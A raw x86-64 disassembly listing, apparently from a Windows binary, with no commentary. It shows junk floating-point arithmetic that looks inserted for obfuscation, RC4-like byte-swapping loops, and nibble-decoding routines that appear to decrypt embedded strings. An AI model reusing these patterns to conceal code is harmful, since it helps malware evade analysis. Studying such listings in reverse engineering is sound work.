subss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x210]
subss xmm1, xmm0
movss dword [rsp + 0x210], xmm1
movss xmm0, dword [rsp + 0x1d0]
addss xmm0, dword [rsp + 0x230]
movss dword [rsp + 0x230], xmm0
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x250]
ucomiss xmm1, xmm0
jbe 0x1400f0d51
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1d0]
divss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x140]
subss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1d0]
subss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x140]
mulss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x250]
divss xmm1, xmm0
movss dword [rsp + 0x250], xmm1
movss xmm0, dword [rsp + 0x250]
addss xmm0, dword [rsp + 0x1d0]
movss dword [rsp + 0x1d0], xmm0
jmp 0x1400f0e03
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x1f0]
mulss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1d0]
subss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x1d0]
addss xmm0, dword [rsp + 0x1f0]
movss dword [rsp + 0x1f0], xmm0
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x250]
mulss xmm1, xmm0
movss dword [rsp + 0x250], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1d0]
mulss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x1d0]
addss xmm0, dword [rsp + 0x1f0]
movss dword [rsp + 0x1f0], xmm0
movzx ebx, byte [fcn.14049ecd7]
movzx r11d, byte [0x14049ecd8]
movzx r10d, byte [rsp + r8 + 0x2b0]
lea esi, [rax + 1]
add r9b, byte [rsp + rax + 0x2b0]
movzx r9d, r9b
movzx edi, byte [rsp + r9 + 0x2b0]
mov byte [rsp + r8 + 0x2b0], dil
movzx edi, byte [rsp + rdx + 0x2b0]
mov byte [rsp + r9 + 0x2b0], dil
movzx esi, sil
movzx edi, byte [rsp + rsi + 0x2b0]
mov byte [rsp + rdx + 0x2b0], dil
mov byte [rsp + rsi + 0x2b0], r10b
movzx esi, byte [rsp + r9 + 0x2b0]
add sil, r10b
movzx esi, sil
movzx edi, byte [rsp + r8 + 0x2b0]
add dil, byte [rsp + rdx + 0x2b0]
add cl, byte [rsp + r10 + 0x2b0]
movzx edx, byte [rsp + rsi + 0x2b0]
movzx r8d, cl
add dil, byte [rsp + r8 + 0x2b0]
movzx ecx, dil
movzx ecx, byte [rsp + rcx + 0x2b0]
shl bl, 4
add bl, 0x50
add r11b, 0x5d
or r11b, bl
xor dl, byte [rsp + rcx + 0x2b0]
xor dl, r11b
movzx ebx, byte [0x14049ecd9]
movzx ecx, r11b
movzx r11d, byte [rsp + rcx + 0x2b0]
lea esi, [rax + 2]
add r9b, r10b
movzx r10d, r9b
movzx edi, byte [rsp + r10 + 0x2b0]
mov byte [rsp + rcx + 0x2b0], dil
movzx edx, dl
movzx edi, byte [rsp + rdx + 0x2b0]
mov byte [rsp + r10 + 0x2b0], dil
movzx esi, sil
movzx edi, byte [rsp + rsi + 0x2b0]
mov byte [rsp + rdx + 0x2b0], dil
movzx edi, byte [0x14049ecda]
add dil, 0x5d
shl bl, 4
add bl, 0x50
mov byte [rsp + rsi + 0x2b0], r11b
add r8b, byte [rsp + r11 + 0x2b0]
movzx r10d, byte [rsp + r10 + 0x2b0]
add r10b, r11b
movzx r10d, r10b
movzx ecx, byte [rsp + rcx + 0x2b0]
add cl, byte [rsp + rdx + 0x2b0]
movzx esi, byte [rsp + r10 + 0x2b0]
movzx edx, r8b
add cl, byte [rsp + rdx + 0x2b0]
movzx ecx, cl
movzx ecx, byte [rsp + rcx + 0x2b0]
xor sil, byte [rsp + rcx + 0x2b0]
or bl, dil
xor sil, bl
mov r10, 0xfffffffffffffff5
lea rcx, [fcn.14049ecd7]
nop dword [rax + rax]
add r9b, r11b
movzx edx, bl
movzx ebx, byte [rcx + r10*2 + 0x1a]
movzx r11d, byte [rcx + r10*2 + 0x1b]
add r11b, 0x5d
shl bl, 4
add bl, 0x50
or bl, r11b
movzx r11d, byte [rsp + rdx + 0x2b0]
lea edi, [rax + r10]
add edi, 0xe
movzx r14d, r9b
movzx r15d, byte [rsp + r14 + 0x2b0]
mov byte [rsp + rdx + 0x2b0], r15b
movzx r15d, sil
movzx esi, byte [rsp + r15 + 0x2b0]
mov byte [rsp + r14 + 0x2b0], sil
movzx esi, dil
movzx edi, byte [rsp + rsi + 0x2b0]
mov byte [rsp + r15 + 0x2b0], dil
mov byte [rsp + rsi + 0x2b0], r11b
add r8b, byte [rsp + r11 + 0x2b0]
movzx esi, byte [rsp + r14 + 0x2b0]
add sil, r11b
movzx esi, sil
movzx esi, byte [rsp + rsi + 0x2b0]
movzx edx, byte [rsp + rdx + 0x2b0]
add dl, byte [rsp + r15 + 0x2b0]
movzx edi, r8b
add dl, byte [rsp + rdi + 0x2b0]
movzx edx, dl
movzx edx, byte [rsp + rdx + 0x2b0]
xor sil, byte [rsp + rdx + 0x2b0]
xor sil, bl
inc r10
jne 0x1400f0fa0
movzx edx, byte [0x14049ecf1]
movzx edi, bl
movzx ebx, byte [rsp + rdi + 0x2b0]
lea r14d, [rax + r10]
add r14d, 0xe
add r9b, r11b
movzx r15d, r9b
movzx r11d, byte [rsp + r15 + 0x2b0]
mov byte [rsp + rdi + 0x2b0], r11b
movzx esi, sil
movzx r11d, byte [rsp + rsi + 0x2b0]
mov byte [rsp + r15 + 0x2b0], r11b
movzx r11d, r14b
movzx r14d, byte [rsp + r11 + 0x2b0]
mov byte [rsp + rsi + 0x2b0], r14b
movzx r14d, byte [reloc.WLDAP32.dll_Ordinal_167]
add r14b, 0x5d
shl dl, 4
add dl, 0x50
mov byte [rsp + r11 + 0x2b0], bl
add r8b, byte [rsp + rbx + 0x2b0]
or dl, r14b
movzx r14d, byte [rsp + r15 + 0x2b0]
add r14b, bl
movzx ebx, r14b
movzx ebx, byte [rsp + rbx + 0x2b0]
movzx edi, byte [rsp + rdi + 0x2b0]
add dil, byte [rsp + rsi + 0x2b0]
movzx esi, r8b
add dil, byte [rsp + rsi + 0x2b0]
movzx esi, dil
movzx esi, byte [rsp + rsi + 0x2b0]
xor bl, byte [rsp + rsi + 0x2b0]
xor bl, dl
movzx edi, byte [0x14049ecf3]
movzx esi, byte [0x14049ecf4]
movabs r14, 0x40d1ef0000000000
mov qword [rsp + 0x140], r14
movabs r14, 0x40ccb20000000000
mov qword [rsp + 0x230], r14
movabs r14, 0x40c5860000000000
mov qword [rsp + 0x1f0], r14
movabs r14, 0x40bcb40000000000
mov qword [rsp + 0x1d0], r14
movabs r14, 0x40acb80000000000
mov qword [rsp + 0x250], r14
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x140]
subsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1d0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1d0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x250]
ucomisd xmm1, xmm0
jbe 0x1400f12fa
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x250]
mulsd xmm1, xmm0
movsd qword [rsp + 0x250], xmm1
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x140]
divsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x250]
divsd xmm1, xmm0
movsd qword [rsp + 0x250], xmm1
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x1d0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1f0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
mov esi, edx
jmp 0x1400f1398
shl dil, 4
add dil, 0x50
add sil, 0x5d
or sil, dil
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x1f0]
addsd xmm0, qword [rsp + 0x230]
movsd qword [rsp + 0x230], xmm0
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1d0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x250]
addsd xmm0, qword [rsp + 0x1d0]
movsd qword [rsp + 0x1d0], xmm0
movsd xmm0, qword [rsp + 0x1d0]
addsd xmm0, qword [rsp + 0x1f0]
movsd qword [rsp + 0x1f0], xmm0
movzx r14d, dl
movzx edi, byte [rsp + r14 + 0x2b0]
lea r15d, [rax + r10]
add r15d, 0xf
add r9b, byte [rsp + r11 + 0x2b0]
movzx edx, r9b
movzx r9d, byte [rsp + rdx + 0x2b0]
mov byte [rsp + r14 + 0x2b0], r9b
movzx r9d, bl
movzx r11d, byte [rsp + r9 + 0x2b0]
mov byte [rsp + rdx + 0x2b0], r11b
movzx r11d, r15b
movzx ebx, byte [rsp + r11 + 0x2b0]
mov byte [rsp + r9 + 0x2b0], bl
mov byte [rsp + r11 + 0x2b0], dil
add r8b, byte [rsp + rdi + 0x2b0]
movzx r11d, byte [rsp + rdx + 0x2b0]
add r11b, dil
movzx r11d, r11b
movzx r11d, byte [rsp + r11 + 0x2b0]
movzx ebx, byte [rsp + r14 + 0x2b0]
add bl, byte [rsp + r9 + 0x2b0]
movzx r8d, r8b
add bl, byte [rsp + r8 + 0x2b0]
movzx r9d, bl
movzx r9d, byte [rsp + r9 + 0x2b0]
xor r11b, byte [rsp + r9 + 0x2b0]
xor r11b, sil
movzx r9d, byte [0x14049ecf5]
movzx ebx, byte [0x14049ecf6]
add ebx, 0x5d
shl r9d, 4
add r9d, 0xfffffb50
or r9d, ebx
movzx esi, sil
movzx ebx, byte [rsp + rsi + 0x2b0]
lea r14d, [rax + r10]
add r14d, 0x10
add eax, r10d
add dl, dil
movzx r10d, dl
movzx edi, byte [rsp + r10 + 0x2b0]
mov byte [rsp + rsi + 0x2b0], dil
movzx r11d, r11b
movzx edi, byte [rsp + r11 + 0x2b0]
mov byte [rsp + r10 + 0x2b0], dil
movzx edi, r14b
movzx r14d, byte [rsp + rdi + 0x2b0]
mov byte [rsp + r11 + 0x2b0], r14b
mov byte [rsp + rdi + 0x2b0], bl
add r8b, byte [rsp + rbx + 0x2b0]
movzx r10d, byte [rsp + r10 + 0x2b0]
add r10b, bl
movzx ebx, byte [rsp + rsi + 0x2b0]
add bl, byte [rsp + r11 + 0x2b0]
movzx r10d, r10b
movzx r11d, r8b
add bl, byte [rsp + r11 + 0x2b0]
movzx r11d, bl
movzx esi, byte [rsp + r11 + 0x2b0]
movzx r11d, byte [rsp + r10 + 0x2b0]
xor r11b, r9b
xor r11b, byte [rsp + rsi + 0x2b0]
add al, 0x10
xor esi, esi
jmp 0x1400f169a
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x250]
subss xmm1, xmm0
movss dword [rsp + 0x250], xmm1
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x250]
mulss xmm1, xmm0
movss dword [rsp + 0x250], xmm1
movss xmm0, dword [rsp + 0x1d0]
addss xmm0, dword [rsp + 0x1f0]
movss dword [rsp + 0x1f0], xmm0
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1d0]
mulss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x230]
subss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movzx r14d, al
inc al
add dl, byte [rsp + r14 + 0x2b0]
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x140]
subss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movzx r14d, dil
movzx r15d, dl
movzx edi, byte [rsp + r15 + 0x2b0]
mov byte [rsp + rbx + 0x2b0], dil
movzx r11d, r11b
movzx edi, byte [rsp + r11 + 0x2b0]
mov byte [rsp + r15 + 0x2b0], dil
movzx edi, al
movzx r12d, byte [rsp + rdi + 0x2b0]
mov byte [rsp + r11 + 0x2b0], r12b
mov byte [rsp + rdi + 0x2b0], r14b
add r8b, byte [rsp + r14 + 0x2b0]
add r14b, byte [rsp + r15 + 0x2b0]
movzx ebx, byte [rsp + rbx + 0x2b0]
add bl, byte [rsp + r11 + 0x2b0]
movzx r11d, r14b
movzx r14d, r8b
add bl, byte [rsp + r14 + 0x2b0]
movzx ebx, bl
movzx ebx, byte [rsp + rbx + 0x2b0]
movzx r11d, byte [rsp + r11 + 0x2b0]
xor r11b, r9b
xor r11b, byte [rsp + rbx + 0x2b0]
inc rsi
cmp rsi, 0xc
je 0x1400f1ac6
movzx r10d, byte [rcx + rsi*2 + 0x20]
movzx edi, byte [rcx + rsi*2 + 0x21]
add r10d, 0xffffffb5
add rdi, 0x5d
movzx ebx, r9b
mov r9d, r10d
shl r9d, 4
or r9, rdi
movzx edi, byte [rsp + rbx + 0x2b0]
mov dword [rsp + 0x140], 0x46c92800
mov dword [rsp + 0x230], 0x46a7a200
mov dword [rsp + 0x1f0], 0x46861c00
mov dword [rsp + 0x1d0], 0x46492c00
mov dword [rsp + 0x250], 0x46062000
mov dword [rsp + 0x210], 0x45862800
movss xmm0, dword [rsp + 0x210]
addss xmm0, dword [rsp + 0x1d0]
movss dword [rsp + 0x1d0], xmm0
movss xmm0, dword [rsp + 0x210]
addss xmm0, dword [rsp + 0x230]
movss dword [rsp + 0x230], xmm0
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x1f0]
mulss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x140]
subss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x210]
addss xmm0, dword [rsp + 0x230]
movss dword [rsp + 0x230], xmm0
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x230]
subss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x1f0]
ucomiss xmm1, xmm0
ja 0x1400f1530
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1d0]
subss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1d0]
mulss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x140]
divss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x140]
subss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x140]
subss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x250]
divss xmm1, xmm0
movss dword [rsp + 0x250], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x230]
divss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x230]
subss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x210]
mulss xmm1, xmm0
movss dword [rsp + 0x210], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x230]
mulss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x250]
divss xmm1, xmm0
movss dword [rsp + 0x250], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x1f0]
divss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x230]
ucomiss xmm0, xmm1
jbe 0x1400f1a13
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x210]
divss xmm1, xmm0
movss dword [rsp + 0x210], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x140]
divss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x210]
divss xmm1, xmm0
movss dword [rsp + 0x210], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x230]
divss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x1d0]
mulss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x1d0]
divss xmm1, xmm0
jmp 0x1400f1ab8
movss xmm0, dword [rsp + 0x140]
addss xmm0, dword [rsp + 0x250]
movss dword [rsp + 0x250], xmm0
movss xmm0, dword [rsp + 0x1f0]
addss xmm0, dword [rsp + 0x140]
movss dword [rsp + 0x140], xmm0
movss xmm0, dword [rsp + 0x250]
movss xmm1, dword [rsp + 0x1f0]
subss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x230]
addss xmm0, dword [rsp + 0x210]
movss dword [rsp + 0x210], xmm0
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x210]
divss xmm1, xmm0
movss dword [rsp + 0x210], xmm1
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x1d0]
mulss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
jmp 0x1400f15f4
movzx ecx, byte [0x14049ed0f]
movzx eax, byte [0x14049ed10]
movabs rsi, 0x40d8e8c000000000
mov qword [rsp + 0x140], rsi
movabs rsi, 0x40d2aec000000000
mov qword [rsp + 0x230], rsi
movabs rsi, 0x40c8e98000000000
mov qword [rsp + 0x1f0], rsi
movabs rsi, 0x40b8eb0000000000
mov qword [rsp + 0x1d0], rsi
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x1f0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x1f0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x1d0]
addsd xmm0, qword [rsp + 0x230]
movsd qword [rsp + 0x230], xmm0
movsd xmm0, qword [rsp + 0x1d0]
addsd xmm0, qword [rsp + 0x230]
movsd qword [rsp + 0x230], xmm0
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x1d0]
ucomisd xmm0, xmm1
jbe 0x1400f1c2f
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x230]
mulsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x230]
mulsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
add ecx, 0xffffffb5
movsd xmm0, qword [rsp + 0x1d0]
addsd xmm0, qword [rsp + 0x1f0]
movsd qword [rsp + 0x1f0], xmm0
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
mov r10d, ecx
jmp 0x1400f1e0e
movsd xmm0, qword [rsp + 0x1f0]
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x1f0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x230]
divsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x230]
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x1d0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x140]
mulsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x1f0]
divsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x140]
ucomisd xmm1, xmm0
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
jbe 0x1400f1db5
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x1f0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x230]
divsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x230]
divsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
jmp 0x1400f1e0e
movsd xmm0, qword [rsp + 0x230]
addsd xmm0, qword [rsp + 0x1d0]
movsd qword [rsp + 0x1d0], xmm0
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x1d0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x1d0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
add rax, 0x5d
shl r10d, 4
or r10, rax
movzx r9d, r9b
movzx eax, byte [rsp + r9 + 0x2b0]
lea esi, [rdi + 1]
add dl, byte [rsp + rdi + 0x2b0]
movzx ecx, dl
movzx edx, byte [rsp + rcx + 0x2b0]
mov byte [rsp + r9 + 0x2b0], dl
movzx edx, r11b
movzx r11d, byte [rsp + rdx + 0x2b0]
mov byte [rsp + rcx + 0x2b0], r11b
movzx r11d, sil
movzx ebx, byte [rsp + r11 + 0x2b0]
mov byte [rsp + rdx + 0x2b0], bl
mov byte [rsp + r11 + 0x2b0], al
add r8b, byte [rsp + rax + 0x2b0]
movzx r11d, byte [rsp + rcx + 0x2b0]
add r11b, al
movzx r9d, byte [rsp + r9 + 0x2b0]
add r9b, byte [rsp + rdx + 0x2b0]
movzx edx, r11b
movzx r8d, r8b
add r9b, byte [rsp + r8 + 0x2b0]
movzx r8d, r9b
movzx r9d, r10b
xor r10b, byte [rsp + rdx + 0x2b0]
movzx edx, byte [rsp + r8 + 0x2b0]
xor r10b, byte [rsp + rdx + 0x2b0]
movzx edx, byte [rsp + r9 + 0x2b0]
lea r8d, [rdi + 2]
add cl, al
movzx eax, cl
movzx ecx, byte [rsp + rax + 0x2b0]
mov byte [rsp + r9 + 0x2b0], cl
movzx ecx, r10b
movzx r9d, byte [rsp + rcx + 0x2b0]
mov byte [rsp + rax + 0x2b0], r9b
movzx eax, r8b
movzx r8d, byte [rsp + rax + 0x2b0]
mov byte [rsp + rcx + 0x2b0], r8b
mov byte [rsp + rax + 0x2b0], dl
mov ecx, ebp
call fcn.1401063a0
test eax, eax
je 0x1400ffa87
mov qword [rsp + 0x190], 0
mov qword [rsp + 0x160], 0
mov qword [rsp + 0x190], 0
mov qword [rsp + 0x160], 0
mov qword [rsp + 0x160], 0
movsd xmm1, qword [rsp + 0x160]
movsd xmm0, qword [0x1404d9300]
ucomisd xmm0, xmm1
mov r15, qword [rsp + 0xe90]
jbe 0x1400f20a0
movabs rax, 0x8000000000000000
movapd xmm1, xmmword [0x1404d9310]
movapd xmm2, xmmword [0x1404d9320]
movsd xmm3, qword [0x1404d9330]
movsd xmm4, qword [0x1404d9338]
movsd xmm5, qword [0x1404d7a10]
jmp 0x1400f1fe9
movsd xmm6, qword [rsp + 0x160]
addsd xmm6, xmm5
movsd qword [rsp + 0x160], xmm6
movsd xmm6, qword [rsp + 0x160]
ucomisd xmm0, xmm6
jbe 0x1400f20a0
movsd xmm6, qword [rsp + 0x160]
movsd xmm7, qword [rsp + 0x160]
mov rcx, qword [rsp + 0x160]
xor rcx, rax
movq xmm8, rcx
movsd xmm9, qword [rsp + 0x160]
mulsd xmm9, xmm8
shufpd xmm9, xmm2, 2
movsd xmm8, qword [rsp + 0x160]
unpcklpd xmm6, xmm8
movsd xmm8, qword [rsp + 0x160]
unpcklpd xmm7, xmm8
mulpd xmm6, xmm1
mulpd xmm6, xmm7
addpd xmm6, xmm9
movapd xmm7, xmm6
unpckhpd xmm7, xmm6
divsd xmm6, xmm7
addsd xmm6, qword [rsp + 0x190]
movsd qword [rsp + 0x190], xmm6
movsd xmm6, qword [rsp + 0x190]
ucomisd xmm6, xmm3
jbe 0x1400f1fc0
movsd xmm6, qword [rsp + 0x160]
mulsd xmm6, xmm4
addsd xmm6, qword [rsp + 0x190]
movsd qword [rsp + 0x190], xmm6
jmp 0x1400f1fc0
movsd xmm0, qword [rsp + 0x190]
xorpd xmm1, xmm1
ucomisd xmm1, xmm0
jbe 0x1400f20c2
call int.14049ed22
call 0x14049ed40
jmp 0x1400f54d8
movaps xmm0, xmmword [0x1404d7900]
movaps xmmword [rsp + 0x2b0], xmm0
movaps xmm0, xmmword [0x1404d7910]
movaps xmmword [rsp + 0x2c0], xmm0
movaps xmm0, xmmword [0x1404d7920]
movaps xmmword [rsp + 0x2d0], xmm0
movaps xmm0, xmmword [0x1404d7930]
movaps xmmword [rsp + 0x2e0], xmm0
movaps xmm0, xmmword [0x1404d7940]
movaps xmmword [rsp + 0x2f0], xmm0
movaps xmm0, xmmword [0x1404d7950]
movaps xmmword [rsp + 0x300], xmm0
movaps xmm0, xmmword [0x1404d7960]
movaps xmmword [rsp + 0x310], xmm0
movaps xmm0, xmmword [0x1404d7970]
movaps xmmword [rsp + 0x320], xmm0
movaps xmm0, xmmword [0x1404d7980]
movaps xmmword [rsp + 0x330], xmm0
movaps xmm0, xmmword [0x1404d7990]
movaps xmmword [rsp + 0x340], xmm0
movaps xmm0, xmmword [0x1404d79a0]
movaps xmmword [rsp + 0x350], xmm0
movaps xmm0, xmmword [0x1404d79b0]
movaps xmmword [rsp + 0x360], xmm0
movaps xmm0, xmmword [0x1404d79c0]
movaps xmmword [rsp + 0x370], xmm0
movaps xmm0, xmmword [0x1404d79d0]
movaps xmmword [rsp + 0x380], xmm0
movaps xmm0, xmmword [0x1404d79e0]
movaps xmmword [rsp + 0x390], xmm0
movapd xmm0, xmmword [0x1404d79f0]
movapd xmmword [rsp + 0x3a0], xmm0
xor ecx, ecx
mov r8d, 0xff
lea r9, [0x14049ed40]
lea r10, [0x1401042e0]
xor esi, esi
xor r11d, r11d
jmp 0x1400f21e9
dec r8
je 0x1400f232c
mov edx, 1
cmp r8, 2
jb 0x1400f2209
mov edx, 1
nop dword [rax]
add edx, edx
inc edx
cmp r8, rdx
ja 0x1400f2200
mov edi, ntohs
nop
cmp r11d, 3
ja case.default.0x1400f2220
mov eax, r11d
movsxd rax, dword [r10 + rax*4]
add rax, r10
jmp rax
movzx esi, sil
movsd xmm0, qword [rsp + 0x190]
cvttsd2si rax, xmm0
jmp 0x1400f22b0
movzx esi, sil
lea eax, [r11 - 4]
movzx eax, byte [rax + r9]
jmp 0x1400f22b0
movsd xmm0, qword [rsp + 0x190]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 8
jmp 0x1400f22b0
movsd xmm0, qword [rsp + 0x190]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 0x10
jmp 0x1400f22b0
movsd xmm0, qword [rsp + 0x190]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 0x18
nop word cs:[rax + rax]
add al, byte [rsp + rsi + 0x2b0]
inc r11d
lea esi, [rax + 0x1b]
cmp r11d, 0x1b
cmovae r11d, ecx
movzx eax, al
movzx esi, sil
cmovb esi, eax
mov eax, esi
and eax, edx
movzx eax, al
dec edi
je 0x1400f22e7
mov ebx, eax
cmp r8, rbx
jb 0x1400f2210
